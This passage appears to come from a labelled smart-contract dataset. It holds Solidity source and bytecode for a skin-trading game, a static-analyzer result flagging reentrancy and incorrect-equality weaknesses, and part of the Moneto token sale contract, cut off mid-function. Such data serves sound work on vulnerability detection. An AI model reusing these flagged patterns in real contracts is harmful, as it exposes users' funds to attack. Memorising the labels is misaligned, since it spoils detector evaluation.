prePaidFee = newPrePaidFee; } // _isCooldownReady: check whether cooldown period has been passed function _isCooldownReady(uint256 skinAId, uint256 skinBId) private view returns (bool) { return (skins[skinAId].cooldownEndTime <= uint64(now)) && (skins[skinBId].cooldownEndTime <= uint64(now)); } // _isNotMixing: check whether two skins are in another mixing process function _isNotMixing(uint256 skinAId, uint256 skinBId) private view returns (bool) { return (skins[skinAId].mixingWithId == 0) && (skins[skinBId].mixingWithId == 0); } // _setCooldownTime: set new cooldown time function _setCooldownEndTime(uint256 skinAId, uint256 skinBId) private { uint256 end = now + 5 minutes; // uint256 end = now; skins[skinAId].cooldownEndTime = uint64(end); skins[skinBId].cooldownEndTime = uint64(end); } // _isValidSkin: whether an account can mix using these skins // Make sure two things: // 1. these two skins do exist // 2. this account owns these skins function _isValidSkin(address account, uint256 skinAId, uint256 skinBId) private view returns (bool) { // Make sure those two skins belongs to this account if (skinAId == skinBId) { return false; } if ((skinAId == 0) || (skinBId == 0)) { return false; } if ((skinAId >= nextSkinId) || (skinBId >= nextSkinId)) { return false; } return (skinIdToOwner[skinAId] == account) && (skinIdToOwner[skinBId] == account); } // _isNotOnSale: whether a skin is not on sale function _isNotOnSale(uint256 skinId) private view returns (bool) { return (isOnSale[skinId] == false); } // mix function mix(uint256 skinAId, uint256 skinBId) public whenNotPaused { // Check whether skins are valid require(_isValidSkin(msg.sender, skinAId, skinBId)); // Check whether skins are neither on sale require(_isNotOnSale(skinAId) && _isNotOnSale(skinBId)); // Check cooldown require(_isCooldownReady(skinAId, skinBId)); // Check these skins are not in another process require(_isNotMixing(skinAId, skinBId)); // Set new cooldown time _setCooldownEndTime(skinAId, skinBId); // Mark skins as in mixing skins[skinAId].mixingWithId = uint64(skinBId); skins[skinBId].mixingWithId = uint64(skinAId); // Emit MixStart event MixStart(msg.sender, skinAId, skinBId); } // Mixing auto function mixAuto(uint256 skinAId, uint256 skinBId) public payable whenNotPaused { require(msg.value >= prePaidFee); mix(skinAId, skinBId); Skin storage skin = skins[skinAId]; AutoMix(msg.sender, skinAId, skinBId, skin.cooldownEndTime); } // Get mixing result, return the resulted skin id function getMixingResult(uint256 skinAId, uint256 skinBId) public whenNotPaused { // Check these two skins belongs to the same account address account = skinIdToOwner[skinAId]; require(account == skinIdToOwner[skinBId]); // Check these two skins are in the same mixing process Skin storage skinA = skins[skinAId]; Skin storage skinB = skins[skinBId]; require(skinA.mixingWithId == uint64(skinBId)); require(skinB.mixingWithId == uint64(skinAId)); // Check cooldown require(_isCooldownReady(skinAId, skinBId)); // Create new skin uint128 newSkinAppearance = mixFormula.calcNewSkinAppearance(skinA.appearance, skinB.appearance); Skin memory newSkin = Skin({appearance: newSkinAppearance, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = account; isOnSale[nextSkinId] = false; nextSkinId++; // Clear old skins skinA.mixingWithId = 0; skinB.mixingWithId = 0; // In order to distinguish created skins in minting with destroyed skins // skinIdToOwner[skinAId] = owner; // skinIdToOwner[skinBId] = owner; delete skinIdToOwner[skinAId]; delete skinIdToOwner[skinBId]; // require(numSkinOfAccounts[account] >= 2); numSkinOfAccounts[account] -= 1; MixSuccess(account, nextSkinId - 1, skinAId, skinBId); } } contract SkinMarket is SkinMix { // Cut ratio for a transaction // Values 0-10,000 map to 0%-100% uint128 public trCut = 400; // Sale orders list mapping (uint256 => uint256) public desiredPrice; // events event PutOnSale(address account, uint256 skinId); event WithdrawSale(address account, uint256 skinId); event BuyInMarket(address buyer, uint256 skinId); // functions // Put asset on sale function putOnSale(uint256 skinId, uint256 price) public whenNotPaused { // Only owner of skin pass require(skinIdToOwner[skinId] == msg.sender); // Check whether skin is mixing require(skins[skinId].mixingWithId == 0); // Check whether skin is already on sale require(isOnSale[skinId] == false); require(price > 0); // Put on sale desiredPrice[skinId] = price; isOnSale[skinId] = true; // Emit the Approval event PutOnSale(msg.sender, skinId); } // Withdraw an sale order function withdrawSale(uint256 skinId) external whenNotPaused { // Check whether this skin is on sale require(isOnSale[skinId] == true); // Can only withdraw self&#39;s sale require(skinIdToOwner[skinId] == msg.sender); // Withdraw isOnSale[skinId] = false; desiredPrice[skinId] = 0; // Emit the cancel event WithdrawSale(msg.sender, skinId); } // Buy skin in market function buyInMarket(uint256 skinId) external payable whenNotPaused { // Check whether this skin is on sale require(isOnSale[skinId] == true); address seller = skinIdToOwner[skinId]; // Check the sender isn&#39;t the seller require(msg.sender != seller); uint256 _price = desiredPrice[skinId]; // Check whether pay value is enough require(msg.value >= _price); // Cut and then send the proceeds to seller uint256 sellerProceeds = _price - _computeCut(_price); seller.transfer(sellerProceeds); // Transfer skin from seller to buyer numSkinOfAccounts[seller] -= 1; skinIdToOwner[skinId] = msg.sender; numSkinOfAccounts[msg.sender] += 1; isOnSale[skinId] = false; desiredPrice[skinId] = 0; // Emit the buy event BuyInMarket(msg.sender, skinId); } // Compute the marketCut function _computeCut(uint256 _price) internal view returns (uint256) { return _price * trCut / 10000; } } contract SkinMinting is SkinMarket { // Limits the number of skins the contract owner can ever create. uint256 public skinCreatedLimit = 50000; // The summon numbers of each accouts: will be cleared every day mapping (address => uint256) public accoutToSummonNum; // Pay level of each accouts mapping (address => uint256) public accoutToPayLevel; mapping (address => uint256) public accountsLastClearTime; uint256 public levelClearTime = now; // price uint256 public baseSummonPrice = 3 finney; uint256 public bleachPrice = 30 finney; // Pay level uint256[5] public levelSplits = [10, 20, 50, 100, 200]; uint256[6] public payMultiple = [1, 2, 4, 8, 20, 100]; // events event CreateNewSkin(uint256 skinId, address account); event Bleach(uint256 skinId, uint128 newAppearance); // functions // Set price function setBaseSummonPrice(uint256 newPrice) external onlyOwner { baseSummonPrice = newPrice; } function setBleachPrice(uint256 newPrice) external onlyOwner { bleachPrice = newPrice; } // Create base skin for sell. Only owner can create function createSkin(uint128 specifiedAppearance, uint256 salePrice) external onlyOwner whenNotPaused { require(numSkinOfAccounts[owner] < skinCreatedLimit); // Create specified skin // uint128 randomAppearance = mixFormula.randomSkinAppearance(); Skin memory newSkin = Skin({appearance: specifiedAppearance, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = owner; isOnSale[nextSkinId] = false; // Emit the create event CreateNewSkin(nextSkinId, owner); // Put this skin on sale putOnSale(nextSkinId, salePrice); nextSkinId++; numSkinOfAccounts[owner] += 1; } // Summon function summon() external payable whenNotPaused { // Clear daily summon numbers if (accountsLastClearTime[msg.sender] == uint256(0)) { // This account&#39;s first time to summon, we do not need to clear summon numbers accountsLastClearTime[msg.sender] = now; } else { if (accountsLastClearTime[msg.sender] < levelClearTime && now > levelClearTime) { accoutToSummonNum[msg.sender] = 0; accoutToPayLevel[msg.sender] = 0; accountsLastClearTime[msg.sender] = now; } } uint256 payLevel = accoutToPayLevel[msg.sender]; uint256 price = payMultiple[payLevel] * baseSummonPrice; require(msg.value >= price); // Create random skin uint128 randomAppearance = mixFormula.randomSkinAppearance(); // uint128 randomAppearance = 0; Skin memory newSkin = Skin({appearance: randomAppearance, cooldownEndTime: uint64(now), mixingWithId: 0}); skins[nextSkinId] = newSkin; skinIdToOwner[nextSkinId] = msg.sender; isOnSale[nextSkinId] = false; // Emit the create event CreateNewSkin(nextSkinId, msg.sender); nextSkinId++; numSkinOfAccounts[msg.sender] += 1; accoutToSummonNum[msg.sender] += 1; // Handle the paylevel if (payLevel < 5) { if (accoutToSummonNum[msg.sender] >= levelSplits[payLevel]) { accoutToPayLevel[msg.sender] = payLevel + 1; } } } // Bleach some attributes function bleach(uint128 skinId, uint128 attributes) external payable whenNotPaused { // Check whether msg.sender is owner of the skin require(msg.sender == skinIdToOwner[skinId]); // Check whether this skin is on sale require(isOnSale[skinId] == false); // Check whether there is enough money require(msg.value >= bleachPrice); Skin storage originSkin = skins[skinId]; // Check whether this skin is in mixing require(originSkin.mixingWithId == 0); uint128 newAppearance = mixFormula.bleachAppearance(originSkin.appearance, attributes); originSkin.appearance = newAppearance; // Emit bleach event Bleach(skinId, newAppearance); } // Our daemon will clear daily summon numbers function clearSummonNum() external onlyOwner { uint256 nextDay = levelClearTime + 1 days; if (now > nextDay) { levelClearTime = nextDay; } } }
0x6060604052600436106101c95763ffffffff60e060020a60003504166302ce8ac981146101ce57806304f7a69d146101e657806305d258dd1461020b57806314ca6e01146102245780631e52f7b51461023a5780632038e80a146102595780632104fa0b14610288578063278fcffa1461029e578063287efb57146102bd5780632c9ea1b7146102dc578063363dd19e146102ef57806336f7992b146102f75780633a21ec8d146103105780633ef5f368146103235780633f4ba83a1461033957806356f913991461034c5780635b548ab41461037b5780635c975abb146103895780636885edcd146103b05780636c779d57146103c6578063733efe16146103dc5780637b04b1f8146103fb5780637b6e76031461040e5780638456cb591461042157806387934ec8146104345780638da5cb5b14610447578063959b3fa01461045a57806397b3116e1461047c57806398e4f58114610492578063a02a34cd146104e0578063ab5706ee14610502578063b4bb58fb14610518578063cf39bff514610531578063d46aa61014610550578063dd50e9d41461055b578063e086e5ec1461056e578063ede02b7114610581578063f0f2805f1461059b578063f2fde38b146105b1575b600080fd5b34156101d957600080fd5b6101e46004356105d0565b005b34156101f157600080fd5b6101f961069b565b60405190815260200160405180910390f35b341561021657600080fd5b6101e46004356024356106a1565b341561022f57600080fd5b6101e46004356109d1565b341561024557600080fd5b6101f9600160a060020a03600435166109f1565b341561026457600080fd5b61026c610a03565b604051600160a060020a03909116815260200160405180910390f35b341561029357600080fd5b61026c600435610a12565b34156102a957600080fd5b6101f9600160a060020a0360043516610a2d565b34156102c857600080fd5b6101e4600160a060020a0360043516610a3f565b34156102e757600080fd5b6101f9610a7c565b6101e4610a82565b341561030257600080fd5b6101e4600435602435610ded565b341561031b57600080fd5b6101f9610eef565b341561032e57600080fd5b6101f9600435610ef5565b341561034457600080fd5b6101e4610f09565b341561035757600080fd5b61035f610f88565b6040516001608060020a03909116815260200160405180910390f35b6101e4600435602435610f97565b341561039457600080fd5b61039c61105d565b604051901515815260200160405180910390f35b34156103bb57600080fd5b6101f960043561106d565b34156103d157600080fd5b6101f960043561107f565b34156103e757600080fd5b6101f9600160a060020a036004351661108c565b341561040657600080fd5b6101f961109e565b341561041957600080fd5b6101f96110a4565b341561042c57600080fd5b6101e46110aa565b341561043f57600080fd5b6101f961112e565b341561045257600080fd5b61026c611134565b341561046557600080fd5b6101e46001608060020a0360043516602435611143565b341561048757600080fd5b6101e4600435611349565b341561049d57600080fd5b6104a8600435611369565b6040516001608060020a03909316835267ffffffffffffffff9182166020840152166040808301919091526060909101905180910390f35b34156104eb57600080fd5b6101f9600160a060020a03600435166024356113c4565b341561050d57600080fd5b6101e4600435611450565b341561052357600080fd5b6101e4600435602435611470565b341561053c57600080fd5b6101f9600160a060020a03600435166115b1565b6101e46004356115c3565b341561056657600080fd5b6101e4611740565b341561057957600080fd5b6101e4611777565b6101e46001608060020a03600435811690602435166117cd565b34156105a657600080fd5b61039c60043561197f565b34156105bc57600080fd5b6101e4600160a060020a0360043516611994565b60005460a060020a900460ff16156105e757600080fd5b60008181526003602052604090205460ff16151560011461060757600080fd5b60008181526002602052604090205433600160a060020a0390811691161461062e57600080fd5b6000818152600360209081526040808320805460ff191690556009909152808220919091557f0d0e55f4e2a77f6d27f3ecdbe59fb9f5b4f4de61c10b3243e99905d4763baab6903390839051600160a060020a03909216825260208201526040908101905180910390a150565b600f5481565b6000806000806106af611be8565b60005460a060020a900460ff16156106c657600080fd5b60008781526002602052604080822054888352912054600160a060020a0391821696501685146106f557600080fd5b60008781526001602052604080822088835291208154919550935067ffffffffffffffff80881660c060020a909204161461072f57600080fd5b825467ffffffffffffffff88811660c060020a909204161461075057600080fd5b61075a8787611a22565b151561076557600080fd5b60065484548454600160a060020a039092169163a1c1519a916001608060020a03908116911660006040516020015260405160e060020a63ffffffff85160281526001608060020a03928316600482015291166024820152604401602060405180830381600087803b15156107d957600080fd5b6102c65a03f115156107ea57600080fd5b505050604051805190509150606060405190810160409081526001608060020a038416825267ffffffffffffffff4216602080840191909152600082840181905260045481526001909152209091508190815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161781556040820151815467ffffffffffffffff9190911660c060020a0277ffffffffffffffffffffffffffffffffffffffffffffffff918216179091556004805460009081526002602081815260408084208054600160a060020a038e16600160a060020a031991821681179092558654865260038452828620805460ff19169055865460010187558c5488168d558b549097168b558e85529282528084208054871690558c8452808420805490961690955590825260059052829020805460001990810190915590547fac81ba101131fd51da2d33fa7ef506549a1f53c29fad06382d86b257fc5888d9935088929101908a908a90518085600160a060020a0316600160a060020a0316815260200184815260200183815260200182815260200194505050505060405180910390a150505050505050565b60005433600160a060020a039081169116146109ec57600080fd5b601055565b600c6020526000908152604090205481565b600654600160a060020a031681565b600260205260009081526040902054600160a060020a031681565b600d6020526000908152604090205481565b60005433600160a060020a03908116911614610a5a57600080fd5b60068054600160a060020a031916600160a060020a0392909216919091179055565b60045481565b6000806000610a8f611be8565b60005460a060020a900460ff1615610aa657600080fd5b600160a060020a0333166000908152600d60205260409020541515610ae557600160a060020a0333166000908152600d60205260409020429055610b47565b600e54600160a060020a0333166000908152600d6020526040902054108015610b0f5750600e5442115b15610b4757600160a060020a0333166000908152600b60209081526040808320839055600c8252808320839055600d90915290204290555b600160a060020a0333166000908152600c6020526040902054600f5490945060168560068110610b7357fe5b01540292503483901015610b8657600080fd5b600654600160a060020a03166321614f626000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610bce57600080fd5b6102c65a03f11515610bdf57600080fd5b505050604051805190509150606060405190810160409081526001608060020a038416825267ffffffffffffffff4216602080840191909152600082840181905260045481526001909152209091508190815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161781556040820151815477ffffffffffffffffffffffffffffffffffffffffffffffff1660c060020a67ffffffffffffffff9290921691909102179055506004805460009081526002602090815260408083208054600160a060020a03191633600160a060020a0381169190911790915584548452600390925291829020805460ff1916905591547fe02fda003a77c2554ac72a53bbeacf3440a1e22212fd46e961fc2b123294dd4e92909151918252600160a060020a031660208201526040908101905180910390a1600480546001908101909155600160a060020a0333166000908152600560208181526040808420805486019055600b9091529091208054909201909155841015610de75760118460058110610da857fe5b0154600160a060020a0333166000908152600b602052604090205410610de757600160a060020a0333166000908152600c602052604090206001850190555b50505050565b60005460a060020a900460ff1615610e0457600080fd5b60008281526002602052604090205433600160a060020a03908116911614610e2b57600080fd5b60008281526001602052604090205460c060020a900467ffffffffffffffff1615610e5557600080fd5b60008281526003602052604090205460ff1615610e7157600080fd5b60008111610e7e57600080fd5b6000828152600960209081526040808320849055600390915290819020805460ff191660011790557f490fad3155d80ff0da3b5e2676a2b0121544ec602724a25f5f41157862ad582a903390849051600160a060020a03909216825260208201526040908101905180910390a15050565b60105481565b60168160068110610f0257fe5b0154905081565b60005433600160a060020a03908116911614610f2457600080fd5b60005460a060020a900460ff161515610f3c57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6008546001608060020a031681565b6000805460a060020a900460ff1615610faf57600080fd5b600754341015610fbe57600080fd5b610fc88383611470565b6001600084815260200190815260200160002090507fa0b8773c576b204aa8e6df0ff342f9b00297636e99dce8a2103e8d966e767f843384848460000160109054906101000a900467ffffffffffffffff16604051600160a060020a039094168452602084019290925260408084019190915267ffffffffffffffff90911660608301526080909101905180910390a1505050565b60005460a060020a900460ff1681565b60096020526000908152604090205481565b60118160058110610f0257fe5b60056020526000908152604090205481565b60075481565b600e5481565b60005433600160a060020a039081169116146110c557600080fd5b60005460a060020a900460ff16156110dc57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600a5481565b600054600160a060020a031681565b61114b611be8565b60005433600160a060020a0390811691161461116657600080fd5b60005460a060020a900460ff161561117d57600080fd5b600a5460008054600160a060020a0316815260056020526040902054106111a357600080fd5b606060405190810160409081526001608060020a038516825267ffffffffffffffff4216602080840191909152600082840181905260045481526001909152209091508190815181546fffffffffffffffffffffffffffffffff19166001608060020a03919091161781556020820151815467ffffffffffffffff91909116608060020a0277ffffffffffffffff00000000000000000000000000000000199091161781556040820151815467ffffffffffffffff9190911660c060020a0277ffffffffffffffffffffffffffffffffffffffffffffffff90911617905550600080546004805483526002602090815260408085208054600160a060020a031916600160a060020a03958616179055825485526003909152808420805460ff19169055905492547fe02fda003a77c2554ac72a53bbeacf3440a1e22212fd46e961fc2b123294dd4e9392169051918252600160a060020a031660208201526040908101905180910390a161131960045483610ded565b505060048054600190810190915560008054600160a060020a031681526005602052604090208054909101905550565b60005433600160a060020a0390811691161461136457600080fd5b600755565b600080808080851161137a57600080fd5b600454851061138857600080fd5b505050600091825250600160205260409020546001608060020a0381169167ffffffffffffffff608060020a830481169260c060020a90041690565b600160a060020a0382166000908152600560205260408120548190818082116113ec57600080fd5b8185106113f857600080fd5b5060015b6004548110156101c957600081815260026020526040902054600160a060020a038781169116141561143f578483141561143857809350611447565b6001909201915b6001016113fc565b50505092915050565b60005433600160a060020a0390811691161461146b57600080fd5b600f55565b60005460a060020a900460ff161561148757600080fd5b611492338383611a7d565b151561149d57600080fd5b6114a682611b11565b80156114b657506114b681611b11565b15156114c157600080fd5b6114cb8282611a22565b15156114d657600080fd5b6114e08282611b27565b15156114eb57600080fd5b6114f58282611b76565b600082815260016020526040808220805467ffffffffffffffff80861660c060020a90810277ffffffffffffffffffffffffffffffffffffffffffffffff938416179093558585529383902080549487169092029316929092179091557f4e1f80806ba228e25ed6f726450eaef48a5ae8e2604ca9156f554699acdd883f90339084908490518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a15050565b600b6020526000908152604090205481565b600080548190819060a060020a900460ff16156115df57600080fd5b60008481526003602052604090205460ff1615156001146115ff57600080fd5b600084815260026020526040902054600160a060020a039081169350331683141561162957600080fd5b6000848152600960205260409020549150348290101561164857600080fd5b61165182611bcf565b82039050600160a060020a03831681156108fc0282604051600060405180830381858888f19350505050151561168657600080fd5b600160a060020a0383811660009081526005602081815260408084208054600019019055888452600282528084208054600160a060020a0319163396871690811790915584529181528183208054600101905587835260038152818320805460ff1916905560099052808220919091557ff6de23dfab6e1deb1628f4b40e812dcd594adc18c2738b3606e6525e8b63d4ca9190869051600160a060020a03909216825260208201526040908101905180910390a150505050565b6000805433600160a060020a0390811691161461175c57600080fd5b600e54620151800190508042111561177457600e8190555b50565b60005433600160a060020a0390811691161461179257600080fd5b600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156117cb57600080fd5b565b60008054819060a060020a900460ff16156117e757600080fd5b6001608060020a03841660009081526002602052604090205433600160a060020a0390811691161461181857600080fd5b6001608060020a03841660009081526003602052604090205460ff161561183e57600080fd5b60105434101561184d57600080fd5b6001608060020a0384166000908152600160205260409020805490925060c060020a900467ffffffffffffffff161561188557600080fd5b6006548254600160a060020a039091169063250312ce906001608060020a03168560006040516020015260405160e060020a63ffffffff85160281526001608060020a03928316600482015291166024820152604401602060405180830381600087803b15156118f457600080fd5b6102c65a03f1151561190557600080fd5b505050604051805183546fffffffffffffffffffffffffffffffff19166001608060020a03821617845591507fb1682fb0e70bb59dd5b0108ba10dad2a8cfa888b95b829260d566317d5d70fcb905084826040516001608060020a039283168152911660208201526040908101905180910390a150505050565b60036020526000908152604090205460ff1681565b60005433600160a060020a039081169116146119af57600080fd5b600160a060020a03811615156119c457600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008054600160a060020a031916600160a060020a0392909216919091179055565b60008281526001602052604081205467ffffffffffffffff428116608060020a9092041611801590611a76575060008281526001602052604090205467ffffffffffffffff428116608060020a9092041611155b9392505050565b600081831415611a8f57506000611a76565b821580611a9a575081155b15611aa757506000611a76565b60045483101580611aba57506004548210155b15611ac757506000611a76565b600083815260026020526040902054600160a060020a038581169116148015611b095750600082815260026020526040902054600160a060020a038581169116145b949350505050565b60009081526003602052604090205460ff161590565b60008281526001602052604081205460c060020a900467ffffffffffffffff16158015611a7657505060009081526001602052604090205460c060020a900467ffffffffffffffff1615919050565b600091825260016020526040808320805467ffffffffffffffff61012c420116608060020a0277ffffffffffffffff00000000000000000000000000000000199182168117909255928452922080549091169091179055565b6008546127106001608060020a03909116919091020490565b6060604051908101604090815260008083526020830181905290820152905600a165627a7a7230582014b4e729abb6e4017d1dcda2d257102261bde39e2999159c254410a44dada9f90029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
3,865
0xe36f34402F061af5fF923389F03FCF11Cb25b655
pragma solidity ^0.4.17; /// @title Base Token contract - Functions to be implemented by token contracts. contract BaseToken { /* * Implements ERC 20 standard. * https://github.com/ethereum/EIPs/blob/f90864a3d2b2b45c4decf95efd26b3f0c276051a/EIPS/eip-20-token-standard.md * https://github.com/ethereum/EIPs/issues/20 * * Added support for the ERC 223 "tokenFallback" method in a "transfer" function with a payload. * https://github.com/ethereum/EIPs/issues/223 */ /* * This is a slight change to the ERC20 base standard. * function totalSupply() constant returns (uint256 supply); * is replaced with: * uint256 public totalSupply; * This automatically creates a getter function for the totalSupply. * This is moved to the base contract since public getter functions are not * currently recognised as an implementation of the matching abstract * function by the compiler. */ uint256 public totalSupply; /* * ERC 20 */ function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); /* * ERC 223 */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); /* * Events */ event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); // There is no ERC223 compatible Transfer event, with `_data` included. } /* * Contract that is working with ERC223 tokens * https://github.com/ethereum/EIPs/issues/223 */ /// @title ERC223ReceivingContract - Standard contract implementation for compatibility with ERC223 tokens. contract ERC223ReceivingContract { /// @dev Function that is called when a user or another contract wants to transfer funds. /// @param _from Transaction initiator, analogue of msg.sender /// @param _value Number of tokens to transfer. /// @param _data Data containig a function signature and/or parameters function tokenFallback(address _from, uint256 _value, bytes _data) public; } /// @title Standard token contract - Standard token implementation. contract StandardToken is BaseToken { /* * Data structures */ mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; /* * Public functions */ /// @notice Send `_value` tokens to `_to` from `msg.sender`. /// @dev Transfers sender's tokens to a given address. Returns success. /// @param _to Address of token receiver. /// @param _value Number of tokens to transfer. /// @return Returns success of function call. function transfer(address _to, uint256 _value) public returns (bool) { require(_to != 0x0); require(_to != address(this)); require(balances[msg.sender] >= _value); require(balances[_to] + _value >= balances[_to]); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } /// @notice Send `_value` tokens to `_to` from `msg.sender` and trigger /// tokenFallback if sender is a contract. /// @dev Function that is called when a user or another contract wants to transfer funds. /// @param _to Address of token receiver. /// @param _value Number of tokens to transfer. /// @param _data Data to be sent to tokenFallback /// @return Returns success of function call. function transfer( address _to, uint256 _value, bytes _data) public returns (bool) { require(transfer(_to, _value)); uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly. codeLength := extcodesize(_to) } if (codeLength > 0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } return true; } /// @notice Transfer `_value` tokens from `_from` to `_to` if `msg.sender` is allowed. /// @dev Allows for an approved third party to transfer tokens from one /// address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. /// @return Returns success of function call. function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_from != 0x0); require(_to != 0x0); require(_to != address(this)); require(balances[_from] >= _value); require(allowed[_from][msg.sender] >= _value); require(balances[_to] + _value >= balances[_to]); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } /// @notice Allows `_spender` to transfer `_value` tokens from `msg.sender` to any address. /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. /// @return Returns success of function call. function approve(address _spender, uint256 _value) public returns (bool) { require(_spender != 0x0); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(_value == 0 || allowed[msg.sender][_spender] == 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * Read functions */ /// @dev Returns number of allowed tokens that a spender can transfer on /// behalf of a token owner. /// @param _owner Address of token owner. /// @param _spender Address of token spender. /// @return Returns remaining allowance for spender. function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } /// @dev Returns number of tokens owned by the given address. /// @param _owner Address of token owner. /// @return Returns balance of owner. function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } } contract Moneto is StandardToken { string public name = "Moneto"; string public symbol = "MTO"; uint8 public decimals = 18; function Moneto(address saleAddress) public { require(saleAddress != 0x0); totalSupply = 42901786 * 10**18; balances[saleAddress] = totalSupply; emit Transfer(0x0, saleAddress, totalSupply); assert(totalSupply == balances[saleAddress]); } function burn(uint num) public { require(num > 0); require(balances[msg.sender] >= num); require(totalSupply >= num); uint preBalance = balances[msg.sender]; balances[msg.sender] -= num; totalSupply -= num; emit Transfer(msg.sender, 0x0, num); assert(balances[msg.sender] == preBalance - num); } } contract MonetoSale { Moneto public token; address public beneficiary; address public alfatokenteam; uint public alfatokenFee; uint public amountRaised; uint public tokenSold; uint public constant PRE_SALE_START = 1523952000; // 17 April 2018, 08:00:00 GMT uint public constant PRE_SALE_END = 1526543999; // 17 May 2018, 07:59:59 GMT uint public constant SALE_START = 1528617600; // 10 June 2018,08:00:00 GMT uint public constant SALE_END = 1531209599; // 10 July 2018, 07:59:59 GMT uint public constant PRE_SALE_MAX_CAP = 2531250 * 10**18; uint public constant SALE_MAX_CAP = 300312502 * 10**17; uint public constant SALE_MIN_CAP = 2500 ether; uint public constant PRE_SALE_PRICE = 1250; uint public constant SALE_PRICE = 1000; uint public constant PRE_SALE_MIN_BUY = 10 * 10**18; uint public constant SALE_MIN_BUY = 1 * 10**18; uint public constant PRE_SALE_1WEEK_BONUS = 35; uint public constant PRE_SALE_2WEEK_BONUS = 15; uint public constant PRE_SALE_3WEEK_BONUS = 5; uint public constant PRE_SALE_4WEEK_BONUS = 0; uint public constant SALE_1WEEK_BONUS = 10; uint public constant SALE_2WEEK_BONUS = 7; uint public constant SALE_3WEEK_BONUS = 5; uint public constant SALE_4WEEK_BONUS = 3; mapping (address => uint) public icoBuyers; Stages public stage; enum Stages { Deployed, Ready, Ended, Canceled } modifier atStage(Stages _stage) { require(stage == _stage); _; } modifier isOwner() { require(msg.sender == beneficiary); _; } function MonetoSale(address _beneficiary, address _alfatokenteam) public { beneficiary = _beneficiary; alfatokenteam = _alfatokenteam; alfatokenFee = 5 ether; stage = Stages.Deployed; } function setup(address _token) public isOwner atStage(Stages.Deployed) { require(_token != 0x0); token = Moneto(_token); stage = Stages.Ready; } function () payable public atStage(Stages.Ready) { require((now >= PRE_SALE_START && now <= PRE_SALE_END) || (now >= SALE_START && now <= SALE_END)); uint amount = msg.value; amountRaised += amount; if (now >= SALE_START && now <= SALE_END) { assert(icoBuyers[msg.sender] + msg.value >= msg.value); icoBuyers[msg.sender] += amount; } uint tokenAmount = amount * getPrice(); require(tokenAmount > getMinimumAmount()); uint allTokens = tokenAmount + getBonus(tokenAmount); tokenSold += allTokens; if (now >= PRE_SALE_START && now <= PRE_SALE_END) { require(tokenSold <= PRE_SALE_MAX_CAP); } if (now >= SALE_START && now <= SALE_END) { require(tokenSold <= SALE_MAX_CAP); } token.transfer(msg.sender, allTokens); } function transferEther(address _to, uint _amount) public isOwner { require(_amount <= address(this).balance - alfatokenFee); require(now < SALE_START || stage == Stages.Ended); _to.transfer(_amount); } function transferFee(address _to, uint _amount) public { require(msg.sender == alfatokenteam); require(_amount <= alfatokenFee); alfatokenFee -= _amount; _to.transfer(_amount); } function endSale(address _to) public isOwner { require(amountRaised >= SALE_MIN_CAP); token.transfer(_to, tokenSold*3/7); token.burn(token.balanceOf(address(this))); stage = Stages.Ended; } function cancelSale() public { require(amountRaised < SALE_MIN_CAP); require(now > SALE_END); stage = Stages.Canceled; } function takeEtherBack() public atStage(Stages.Canceled) returns (bool) { return proxyTakeEtherBack(msg.sender); } function proxyTakeEtherBack(address receiverAddress) public atStage(Stages.Canceled) returns (bool) { require(receiverAddress != 0x0); if (icoBuyers[receiverAddress] == 0) { return false; } uint amount = icoBuyers[receiverAddress]; icoBuyers[receiverAddress] = 0; receiverAddress.transfer(amount); assert(icoBuyers[receiverAddress] == 0); return true; } function getBonus(uint amount) public view returns (uint) { if (now >= PRE_SALE_START && now <= PRE_SALE_END) { uint w = now - PRE_SALE_START; if (w <= 1 weeks) { return amount * PRE_SALE_1WEEK_BONUS/100; } if (w > 1 weeks && w <= 2 weeks) { return amount * PRE_SALE_2WEEK_BONUS/100; } if (w > 2 weeks && w <= 3 